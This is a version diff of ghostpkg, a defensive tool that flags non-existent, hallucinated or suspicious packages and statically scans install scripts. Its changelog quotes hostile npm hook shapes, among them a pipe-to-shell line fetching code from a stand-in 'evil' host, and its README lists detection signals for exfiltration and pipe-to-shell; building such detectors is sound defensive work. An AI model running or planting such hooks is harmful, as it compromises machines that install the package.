ghostpkg 0.7.0__tar.gz → 0.9.0__tar.gz

{ghostpkg-0.7.0 → ghostpkg-0.9.0}/CHANGELOG.md

@@ -6,6 +6,66 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
 ## [Unreleased]
 
+## [0.9.0] - 2026-09-01
+
+### Added
+- **Lockfiles.** `package-lock.json` (both the v1 nested and v2/v3 `packages`
+  layouts), `poetry.lock` and `uv.lock`. This matters more than the manifest
+  formats already supported: CI installs from the lockfile, so it holds the
+  names that actually get fetched, including transitive ones a manifest never
+  mentions. Every entry is version-pinned, so all of them are checkable.
+- **`scan` takes several files at once**, and they may be different
+  ecosystems: `ghostpkg scan requirements.txt package.json package-lock.json`.
+  A dependency repeated across files costs one lookup, not one per file.
+- **Retry with backoff on rate limiting.** Registries answer 429 and 503 under
+  load, and giving up immediately turned a busy moment into a failed run.
+  `Retry-After` is honoured when sent, capped at 30 seconds.
+- `--workers N` and `--timeout SECONDS`, which were fixed constants.
+
+### Changed
+- **New exit code `3`: nothing was scanned.** A manifest that yielded no
+  dependencies exited `0`, which reads as "checked, all clean" in CI. `0` now
+  means checked and clean, `3` means there was nothing to check.
+
+## [0.8.0] - 2026-09-01
+
+### Added
+- **Pinned versions are checked.** `requests==99.99.99` used to come back "ok"
+  because only the name was looked up. A version a model invented is the same
+  class of mistake as a name it invented, and just as precise to check: the
+  registry response already lists every real version, so this costs nothing
+  extra. Only exact pins are checked -- `==1.2.3` on PyPI, a bare `1.2.3` on
+  npm. Ranges like `>=2.31` or `^4.18.0` may be satisfied by some other
+  version, so there is nothing definite to say about them.
+- `ghostpkg check requests==2.31.0` accepts a pin on the command line too.
+
+### Fixed
+- **`--deep` missed essentially every realistic malicious npm hook.** The
+  patterns were written for Python and JavaScript *source*, but npm install
+  hooks are *shell commands*. `curl http://evil | sh` carries no `curl -` flag
+  to match, `node -e` is not `eval(`, and `powershell -c IWR` looks nothing
+  like `urllib.request`. All six shapes now match, and nine ordinary hooks
+  (`tsc`, `node-gyp rebuild`, `husky install`, …) stay clean.
+- **`"postinstall": "node install.js"` is now followed.** It is the commonest
+  shape of all, and the code that matters is in the file it names, which was
+  never read.
+- **`--deep` no longer passes a package it could not inspect.** A package with
+  no source archive, or one larger than the size limit, was silently treated
+  like a clean result -- so padding an archive was a way to switch `--deep` off
+  from the outside. It now says so and warns.
+- **A negative result is never cached.** Caching it for an hour seemed safe
+  until a real case appeared: PyPI's RSS announces a package a moment before
+  its JSON API serves it, so a lookup 404s, and a legitimately published
+  package was then reported as non-existent for the rest of the hour. A stale
+  block is the worst failure this tool has. Positive results are still cached.
+- **The reported nearest name is deterministic.** Iterating a frozenset has no
+  defined order, so `cjson` came back as `ujson` or `ijson` depending on
+  `PYTHONHASHSEED`.
+
+### Changed
+- The parser now carries each dependency's version specifier and line number
+  rather than the bare name.
+
 ## [0.7.0] - 2026-09-01
 
 A correctness release. Several of these were **silent** failures -- the tool
@@ -244,7 +304,9 @@ First release.
 - No corpus of hallucinated package names is shipped, following the decision of
   the USENIX'25 authors not to publish theirs.
 
-[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.7.0...HEAD
+[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.9.0...HEAD
+[0.9.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.9.0
+[0.8.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.8.0
 [0.7.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.7.0
 [0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
 [0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0

{ghostpkg-0.7.0 → ghostpkg-0.9.0}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.5
 Name: ghostpkg
-Version: 0.7.0
+Version: 0.9.0
 Summary: Catch package names that do not exist before you install them
 Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
 Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
@@ -151,6 +151,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
 
 ```bash
 ghostpkg check fastapi-middleware pandas-utils
+ghostpkg check requests==99.99.99          # pins are checked too
 ghostpkg check react-router-dom-utils -e npm
 ```
 
@@ -166,7 +167,20 @@ ghostpkg scan package.json
 |---|---|
 | `requirements*.txt` | Every requirement line. Comments, flags, VCS URLs and direct links are skipped. |
 | `pyproject.toml` | PEP 621 `project.dependencies` and `project.optional-dependencies`, plus Poetry's `tool.poetry` groups. `[build-system] requires` is not included, and the `python` constraint is not treated as a package. |
-| `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`. |
+| `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`, `peerDependencies`. |
+| `package-lock.json` | Every locked package, both the v1 nested and v2/v3 `packages` layouts. Workspace links are skipped. |
+| `poetry.lock`, `uv.lock` | Every locked package. |
+
+Lockfiles are worth scanning even when you already scan the manifest: CI
+installs from the lockfile, so it holds the names that actually get fetched --
+including transitive ones the manifest never mentions -- and every entry is
+version-pinned, so all of them are checkable.
+
+Several files can be scanned in one run, and they may be different ecosystems:
+
+```bash
+ghostpkg scan requirements.txt package.json package-lock.json
+```
 
 Anything else is **refused with an error rather than guessed at**. Guessing is
 what made an earlier version read `pyproject.toml` with the requirements parser
@@ -182,6 +196,8 @@ and report TOML keys as package names.
 | `-q`, `--quiet` | Hide packages that passed |
 | `--no-cache` | Neither read nor write the cache |
 | `--deep` | Download recently published packages and statically inspect their install scripts |
+| `--workers N` | Parallel lookups (default 8) |
+| `--timeout SECONDS` | Per-request timeout |
 | `--version` | Print the version |
 
 ### Exit codes
@@ -190,7 +206,8 @@ and report TOML keys as package names.
 |---|---|
 | `0` | Nothing blocked (warnings may still be present) |
 | `1` | At least one package blocked |
-| `2` | Usage error, unreadable manifest, or the registry was unreachable |
+| `2` | Usage error, unreadable manifest, or a name could not be checked |
+| `3` | Nothing was scanned — no dependencies found. Distinct from "checked and clean". |
 
 ### Caching
 
@@ -234,6 +251,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
 | Signal | Verdict | Why |
 |---|---|---|
 | Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
+| A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
 | First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
 | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
 | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
@@ -365,13 +383,18 @@ ghostpkg scan requirements.txt --deep
 ```
 
 `--deep` downloads the archive **only for recently published packages**, reads
-only `setup.py` from it (or the install hooks out of `package.json`), and
-pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
+only `setup.py` from it (or the install hooks out of `package.json`, plus any
+script those hooks name), and pattern-matches the text. npm hooks are matched
+against shell-command patterns rather than source-code ones, because that is
+what they are. If a package cannot be inspected — no source archive, or an
+archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
 are capped, so a decompression bomb cannot exhaust memory.
 
 | Signal | What it means |
 |---|---|
 | `exfiltration` | Reads environment variables *and* contacts the network |
+| `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
+| `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
 | `network` | Makes a network request during install |
 | `subprocess` | Runs a shell command during install |
 | `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |

{ghostpkg-0.7.0 → ghostpkg-0.9.0}/README.en.md

@@ -104,6 +104,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
 
 ```bash
 ghostpkg check fastapi-middleware pandas-utils
+ghostpkg check requests==99.99.99          # pins are checked too
 ghostpkg check react-router-dom-utils -e npm
 ```
 
@@ -119,7 +120,20 @@ ghostpkg scan package.json
 |---|---|
 | `requirements*.txt` | Every requirement line. Comments, flags, VCS URLs and direct links are skipped. |
 | `pyproject.toml` | PEP 621 `project.dependencies` and `project.optional-dependencies`, plus Poetry's `tool.poetry` groups. `[build-system] requires` is not included, and the `python` constraint is not treated as a package. |
-| `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`. |
+| `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`, `peerDependencies`. |
+| `package-lock.json` | Every locked package, both the v1 nested and v2/v3 `packages` layouts. Workspace links are skipped. |
+| `poetry.lock`, `uv.lock` | Every locked package. |
+
+Lockfiles are worth scanning even when you already scan the manifest: CI
+installs from the lockfile, so it holds the names that actually get fetched --
+including transitive ones the manifest never mentions -- and every entry is
+version-pinned, so all of them are checkable.
+
+Several files can be scanned in one run, and they may be different ecosystems:
+
+```bash
+ghostpkg scan requirements.txt package.json package-lock.json
+```
 
 Anything else is **refused with an error rather than guessed at**. Guessing is
 what made an earlier version read `pyproject.toml` with the requirements parser
@@ -135,6 +149,8 @@ and report TOML keys as package names.
 | `-q`, `--quiet` | Hide packages that passed |
 | `--no-cache` | Neither read nor write the cache |
 | `--deep` | Download recently published packages and statically inspect their install scripts |
+| `--workers N` | Parallel lookups (default 8) |
+| `--timeout SECONDS` | Per-request timeout |
 | `--version` | Print the version |
 
 ### Exit codes
@@ -143,7 +159,8 @@ and report TOML keys as package names.
 |---|---|
 | `0` | Nothing blocked (warnings may still be present) |
 | `1` | At least one package blocked |
-| `2` | Usage error, unreadable manifest, or the registry was unreachable |
+| `2` | Usage error, unreadable manifest, or a name could not be checked |
+| `3` | Nothing was scanned — no dependencies found. Distinct from "checked and clean". |
 
 ### Caching
 
@@ -187,6 +204,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
 | Signal | Verdict | Why |
 |---|---|---|
 | Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
+| A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
 | First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
 | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
 | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
@@ -318,13 +336,18 @@ ghostpkg scan requirements.txt --deep
 ```
 
 `--deep` downloads the archive **only for recently published packages**, reads
-only `setup.py` from it (or the install hooks out of `package.json`), and
-pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
+only `setup.py` from it (or the install hooks out of `package.json`, plus any
+script those hooks name), and pattern-matches the text. npm hooks are matched
+against shell-command patterns rather than source-code ones, because that is
+what they are. If a package cannot be inspected — no source archive, or an
+archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
 are capped, so a decompression bomb cannot exhaust memory.
 
 | Signal | What it means |
 |---|---|
 | `exfiltration` | Reads environment variables *and* contacts the network |
+| `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
+| `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
 | `network` | Makes a network request during install |
 | `subprocess` | Runs a shell command during install |
 | `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |

{ghostpkg-0.7.0 → ghostpkg-0.9.0}/README.md

@@ -73,8 +73,8 @@ pipx install ghostpkg            # ізольовано, глобальна ко
 ## Використання
 
 ```bash
-# перевірити конкретні назви
-ghostpkg check fastapi-middleware pandas-utils
+# перевірити конкретні назви (можна із закріпленою версією)
+ghostpkg check fastapi-middleware requests==99.99.99
 
 # перевірити назву в npm
 ghostpkg check react-router-dom-utils -e npm
@@ -104,9 +104,23 @@ ghostpkg clear-cache
 | `-q`, `--quiet` | Ховає пакети, які пройшли перевірку |
 | `--no-cache` | Не читати й не писати кеш |
 | `--deep` | Завантажити свіжі пакети й статично перевірити їхні скрипти встановлення |
+| `--workers N` | Скільки запитів паралельно (типово 8) |
+| `--timeout SECONDS` | Тайм-аут на запит |
 
-`scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621 і Poetry)
-та `package.json`. Невідомий формат він **відхиляє з помилкою, а не вгадує**.
+`scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621, PEP 735 і Poetry),
+`package.json`, а також **lock-файли**: `package-lock.json`, `poetry.lock`, `uv.lock`.
+Невідомий формат він **відхиляє з помилкою, а не вгадує**.
+
+Lock-файли варто перевіряти навіть якщо ви вже перевіряєте маніфест: **CI
+встановлює саме з них**, тож там лежать імена, які справді завантажуються —
+включно з транзитивними, яких у маніфесті немає. І кожен запис має точну версію,
+отже перевіряється повністю.
+
+Можна передати кілька файлів одразу, навіть із різних екосистем:
+
+```bash
+ghostpkg scan requirements.txt package.json package-lock.json
+```
 
 ---
 
@@ -115,6 +129,7 @@ ghostpkg clear-cache
 | Сигнал | Вердикт |
 |---|---|
 | Немає в реєстрі | 🔴 **Заблоковано.** Назва — привид, встановлювати нічого. |
+| Закріплена версія не існує (`requests==99.99.99`) | 🔴 **Заблоковано.** Вигадана версія — той самий клас помилки, що й вигадана назва. Діапазони (`>=2.31`, `^4.18`) не перевіряються: їх може задовольнити інша версія. |
 | Опубліковано днями тому | 🟡 Попередження. Зловмисники реєструють швидко — але й чесні автори теж. |
 | Лише один реліз | 🟡 Попередження. |
 | Немає посилання на репозиторій | 🟡 Попередження. |

{ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/__init__.py

@@ -1,6 +1,6 @@
 """ghostpkg -- catch package names that do not exist before you install them."""
 
-__version__ = "0.7.0"
+__version__ = "0.9.0"
 
 from .assess import Finding, Verdict, assess
 from .registries import PackageFacts, RegistryError, fetch

{ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/assess.py

@@ -15,6 +15,7 @@ that installs new packages.
 
 from __future__ import annotations
 
+import re
 from dataclasses import dataclass, field
 from enum import Enum
 
@@ -24,6 +25,25 @@ from .registries import PackageFacts
 YOUNG_DAYS = 90
 NEW_DAYS = 365
 
+# An exact pin, and only an exact pin. `>=`, `^`, `~` and wildcards describe a
+# range that the registry may satisfy with some other version, so there is
+# nothing definite to check. `==1.2.3` either exists or it does not.
+PYPI_PIN = re.compile(r"^\s*==\s*([A-Za-z0-9][A-Za-z0-9.\-+!]*)\s*$")
+NPM_PIN = re.compile(r"^\s*v?(\d+\.\d+\.\d+(?:[-+][A-Za-z0-9.\-]+)?)\s*$")
+
+
+def exact_pin(specifier: str | None, ecosystem: str) -> str | None:
+    """The single version a specifier demands, if it demands exactly one."""
+    if not specifier:
+        return None
+    pattern = NPM_PIN if ecosystem == "npm" else PYPI_PIN
+    match = pattern.match(specifier)
+    if not match:
+        return None
+    version = match.group(1)
+    # `==1.2.*` is a range wearing a pin's clothes.
+    return None if "*" in version else version
+
 
 class Verdict(str, Enum):
     OK = "OK"
@@ -88,6 +108,15 @@ def edit_distance(left: str, right: str, cutoff: int = 3) -> int:
 
 POPULAR: dict[str, frozenset[str]] = {"pypi": TOP_PYPI, "npm": TOP_NPM}
 
+# Iterating a frozenset has no defined order, so with several candidates at the
+# same distance the reported neighbour changed between runs -- `cjson` came back
+# as `ujson` or `ijson` depending on PYTHONHASHSEED. The verdict was stable and
+# only the explanation moved, but unreproducible output is a poor look on a
+# security tool. Membership tests still use the sets above.
+POPULAR_ORDERED: dict[str, tuple[str, ...]] = {
+    ecosystem: tuple(sorted(names)) for ecosystem, names in POPULAR.items()
+}
+
 MIN_COMPARABLE_LENGTH = 5
 
 
@@ -131,7 +160,7 @@ def nearest_popular(name: str, ecosystem: str = "pypi") -> tuple[str, int] | Non
 
     budget = _typo_budget(target)
     best: tuple[str, int] | None = None
-    for candidate in popular:
+    for candidate in POPULAR_ORDERED[ecosystem]:
         if abs(len(candidate) - len(target)) > budget:
             continue
         distance = edit_distance(target, candidate, cutoff=budget)
@@ -146,6 +175,7 @@ def assess(
     facts: PackageFacts,
     strict: bool = False,
     signals: "list | None" = None,
+    specifier: str | None = None,
 ) -> Finding:
     """Turn registry facts, and optionally --deep install-script signals, into
     a verdict.
@@ -171,6 +201,25 @@ def assess(
             facts=facts,
         )
 
+    # A pinned version that does not exist is the same class of mistake as a
+    # name that does not exist, and just as precise: the registry lists every
+    # real version, so this is a lookup, not a heuristic. It blocks for the
+    # same reason non-existence does.
+    pin = exact_pin(specifier, facts.ecosystem)
+    if pin is not None and facts.has_version(pin) is False:
+        return Finding(
+            name=facts.name,
+            ecosystem=facts.ecosystem,
+            verdict=Verdict.BLOCK,
+            reasons=[
+                f"version {pin} does not exist "
+                f"(latest is {facts.latest_version})"
+                if facts.latest_version
+                else f"version {pin} does not exist"
+            ],
+            facts=facts,
+        )
+
     reasons: list[str] = []
 
     if facts.age_days is not None:

{ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/cache.py

@@ -4,10 +4,19 @@ Scanning a manifest costs one request per dependency, every time. A 200-line
 requirements.txt in CI is 200 requests on every run, which is slow for the user
 and rude to the registry.
 
-Time-to-live depends on what was cached, and the important case is the negative
-one. A name that does not exist today can be registered tomorrow -- that is the
-entire attack this tool exists to catch -- so "does not exist" is held only
-briefly. Established packages change slowly and are held far longer.
+**"Does not exist" is never cached.** That answer is the only one that blocks,
+so it must always be fresh. Caching it briefly seemed safe until a real case
+turned up: PyPI's RSS feed announces a package a moment before its JSON API
+serves it, so a lookup lands on a 404, and a legitimately published package
+was then reported as non-existent for the rest of the hour. A stale block is
+the worst failure this tool has, and a missing name is rare enough in a real
+manifest that re-checking costs almost nothing.
+
+The reverse direction argues the same way: a name that is free right now can be
+registered at any moment, and that is the entire attack. Either way, the
+blocking signal is the one that must not come from a cache.
+
+Positive answers are cached, since an established package changes slowly.
 
 Cache failures are never fatal. An unwritable or corrupt cache degrades to no
 cache at all rather than breaking a build.
@@ -29,7 +38,7 @@ from .registries import PackageFacts
 
 SCHEMA = 1
 
-TTL_MISSING = 60 * 60             # 1 hour  -- a free name can be taken any time
+TTL_MISSING = 0                   # never cached -- see the module docstring
 TTL_YOUNG = 6 * 60 * 60           # 6 hours -- facts still moving
 TTL_ESTABLISHED = 24 * 60 * 60    # 1 day   -- changes slowly
 
@@ -149,6 +158,9 @@ class Cache:
     def put(self, facts: PackageFacts) -> None:
         if not self.enabled:
             return
+        # Never store a negative: it is the answer that blocks.
+        if not facts.exists:
+            return
         entry = {
             "at": time.time(),
             "ttl": ttl_for(facts),

{ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/cli.py

@@ -13,12 +13,16 @@ from . import __version__
 from .assess import NEW_DAYS, Finding, Verdict, assess
 from .cache import Cache
 from .inspection import InspectionError, inspect_package
-from .manifests import UnsupportedManifest, load_manifest
+from .manifests import Requirement, UnsupportedManifest, load_manifest, parse_requirements
+from . import registries
 from .registries import RegistryError, fetch
 
 EXIT_OK = 0
 EXIT_BLOCKED = 1
 EXIT_ERROR = 2
+#: Nothing was found to check. Distinct from "checked, all clean", because a
+#: manifest we failed to understand used to exit 0 and read as a pass in CI.
+EXIT_NOTHING_SCANNED = 3
 
 MAX_WORKERS = 8
 
@@ -97,13 +101,19 @@ def summarise(findings: list[Finding], palette: Palette) -> None:
 
 
 def evaluate(
-    names: list[str],
+    requirements: "list[Requirement] | list[str]",
     ecosystem: str,
     strict: bool,
     cache: Cache | None = None,
     deep: bool = False,
+    workers: int = MAX_WORKERS,
 ) -> list[Finding]:
-    def one(name: str) -> Finding:
+    items = [
+        r if isinstance(r, Requirement) else Requirement(name=r) for r in requirements
+    ]
+
+    def one(requirement: Requirement) -> Finding:
+        name = requirement.name
         # A failure on one name must not discard the whole scan. It used to:
         # pool.map re-raised the first exception while iterating, throwing away
         # every confirmed BLOCK alongside it and skipping the cache write, so
@@ -124,32 +134,47 @@ def evaluate(
             )
 
         signals = None
+        not_inspected = None
         # Only young packages are worth the download: a registered slopsquat is
         # new by definition, and inspecting everything would make a scan slow
         # for no gain. A compromised established package is a different threat
         # and is out of scope -- SECURITY.md says so.
-        if (
+        wanted = (
             deep
             and facts.exists
-            and facts.archive_url
             and facts.age_days is not None
             and facts.age_days < NEW_DAYS
-        ):
+        )
+        if wanted and not facts.archive_url:
+            not_inspected = "no source archive published"
+        elif wanted:
             try:
                 signals = inspect_package(facts.archive_url, ecosystem)
-            except InspectionError:
-                signals = None
-
-        return assess(facts, strict=strict, signals=signals)
+            except InspectionError as exc:
+                not_inspected = str(exc)
 
-    # Look each distinct name up once. A manifest can repeat a name, and
-    # following -r includes makes that more likely.
-    unique = list(dict.fromkeys(names))
-    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
-        results = dict(zip(unique, pool.map(one, unique)))
+        finding = assess(
+            facts, strict=strict, signals=signals, specifier=requirement.specifier
+        )
+        # Saying nothing would let "could not inspect" read as "inspected and
+        # clean" -- and padding an archive past the size limit would then be a
+        # way to switch --deep off from the outside.
+        if not_inspected and not finding.is_blocked:
+            finding.reasons.append(f"install scripts not inspected: {not_inspected}")
+            if finding.verdict is Verdict.OK:
+                finding.verdict = Verdict.WARN
+        return finding
+
+    # Look each distinct (name, pin) pair up once. A manifest can repeat a
+    # name, and following -r includes makes that more likely.
+    unique: dict[tuple[str, str | None], Requirement] = {}
+    for item in items:
+        unique.setdefault((item.name, item.specifier), item)
+    with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as pool:
+        results = dict(zip(unique, pool.map(one, unique.values())))
     if cache:
         cache.save()
-    return [results[name] for name in names]
+    return [results[(item.name, item.specifier)] for item in items]
 
 
 def build_parser() -> argparse.ArgumentParser:
@@ -163,12 +188,17 @@ def build_parser() -> argparse.ArgumentParser:
     sub = parser.add_subparsers(dest="command", required=True)
 
     check = sub.add_parser("check", help="check one or more package names")
-    check.add_argument("names", nargs="+")
+    check.add_argument(
+        "names", nargs="+", help="names, optionally pinned: requests==2.31.0"
+    )
     check.add_argument("-e", "--ecosystem", choices=("pypi", "npm"), default="pypi")
 
     scan = sub.add_parser("scan", help="check every dependency in a manifest")
     scan.add_argument(
-        "path", type=Path, help="requirements*.txt, pyproject.toml or package.json"
+        "paths",
+        type=Path,
+        nargs="+",
+        help="one or more manifests or lockfiles; mixed ecosystems are fine",
     )
 
     for command in (check, scan):
@@ -182,6 +212,20 @@ def build_parser() -> argparse.ArgumentParser:
         command.add_argument(
             "--no-cache", action="store_true", help="ignore and do not write the cache"
         )
+        command.add_argument(
+            "--workers",
+            type=int,
+            default=MAX_WORKERS,
+            metavar="N",
+            help=f"parallel lookups (default {MAX_WORKERS})",
+        )
+        command.add_argument(
+            "--timeout",
+            type=int,
+            default=None,
+            metavar="SECONDS",
+            help="per-request timeout",
+        )
         command.add_argument(
             "--deep",
             action="store_true",
@@ -203,32 +247,52 @@ def main(argv: list[str] | None = None) -> int:
         print(f"ghostpkg: {'removed ' + str(cache.path) if removed else 'nothing to remove'}")
         return EXIT_OK
 
+    if args.timeout:
+        registries.TIMEOUT = args.timeout
+
+    # Group by ecosystem so several manifests are looked up together and a
+    # dependency repeated across them costs one request, not one per file.
+    by_ecosystem: "dict[str, list]" = {}
+
     if args.command == "scan":
-        if not args.path.exists():
-            print(f"ghostpkg: no such file: {args.path}", file=sys.stderr)
-            return EXIT_ERROR
-        if args.path.is_dir():
-            print(
-                f"ghostpkg: {args.path} is a directory; pass a manifest file",
-                file=sys.stderr,
-            )
-            return EXIT_ERROR
-        try:
-            names, ecosystem = load_manifest(args.path)
-        except UnsupportedManifest as exc:
-            print(f"ghostpkg: {exc}", file=sys.stderr)
-            return EXIT_ERROR
-        except (json.JSONDecodeError, UnicodeDecodeError, ValueError, OSError) as exc:
-            print(f"ghostpkg: could not parse {args.path}: {exc}", file=sys.stderr)
-            return EXIT_ERROR
-        if not names:
-            print(f"ghostpkg: no dependencies found in {args.path}", file=sys.stderr)
-            return EXIT_OK
+        for path in args.paths:
+            if not path.exists():
+                print(f"ghostpkg: no such file: {path}", file=sys.stderr)
+                return EXIT_ERROR
+            if path.is_dir():
+                print(
+                    f"ghostpkg: {path} is a directory; pass a manifest file",
+                    file=sys.stderr,
+                )
+                return EXIT_ERROR
+            try:
+                found, ecosystem = load_manifest(path)
+            except UnsupportedManifest as exc:
+                print(f"ghostpkg: {exc}", file=sys.stderr)
+                return EXIT_ERROR
+            except (json.JSONDecodeError, UnicodeDecodeError, ValueError, OSError) as exc:
+                print(f"ghostpkg: could not parse {path}: {exc}", file=sys.stderr)
+                return EXIT_ERROR
+            by_ecosystem.setdefault(ecosystem, []).extend(found)
+        if not any(by_ecosystem.values()):
+            where = ", ".join(str(p) for p in args.paths)
+            print(f"ghostpkg: no dependencies found in {where}", file=sys.stderr)
+            # Not the same as "checked, all clean": a manifest we failed to
+            # understand used to exit 0 and read as a pass in CI.
+            return EXIT_NOTHING_SCANNED
     else:
-        names, ecosystem = args.names, args.ecosystem
+        # Accept a pin on the command line too: `ghostpkg check requests==2.31.0`.
+        by_ecosystem[args.ecosystem] = parse_requirements("\n".join(args.names))
 
     cache = Cache(enabled=not args.no_cache)
-    findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
+    findings: list[Finding] = []
+    for ecosystem, requirements in by_ecosystem.items():
+        if requirements:
+            findings.extend(
+                evaluate(
+                    requirements, ecosystem, args.strict, cache, args.deep, args.workers
+                )
+            )
 
     if args.json:
         print(